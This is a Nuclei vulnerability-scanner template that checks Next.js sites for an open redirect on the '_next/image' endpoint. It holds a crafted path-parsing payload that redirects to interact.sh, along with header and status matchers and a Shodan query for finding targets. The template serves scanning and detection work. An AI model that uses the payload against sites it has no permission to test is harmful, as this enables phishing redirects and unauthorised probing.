nuclei-templates/vulnerabilities/other/nextjs-redirect.yaml

28 lines
606 B
YAML

id: nextjs-redirect
info:
name: Next.js Open Redirect on “_next/image” via Improper Path Parsing
author: DhiyaneshDk
severity: medium
reference:
- https://samcurry.net/universal-xss-on-netlifys-next-js-library/
metadata:
shodan-query: html:"/_next/static"
tags: redirect,nextjs
requests:
- method: GET
path:
- '{{BaseURL}}/_next/image?url=/\/\interact.sh/&q=100&w=128&h=128'
matchers-condition: and
matchers:
- type: word
part: header
words:
- 'Location: /\/\/interact.sh'
- type: status
status:
- 308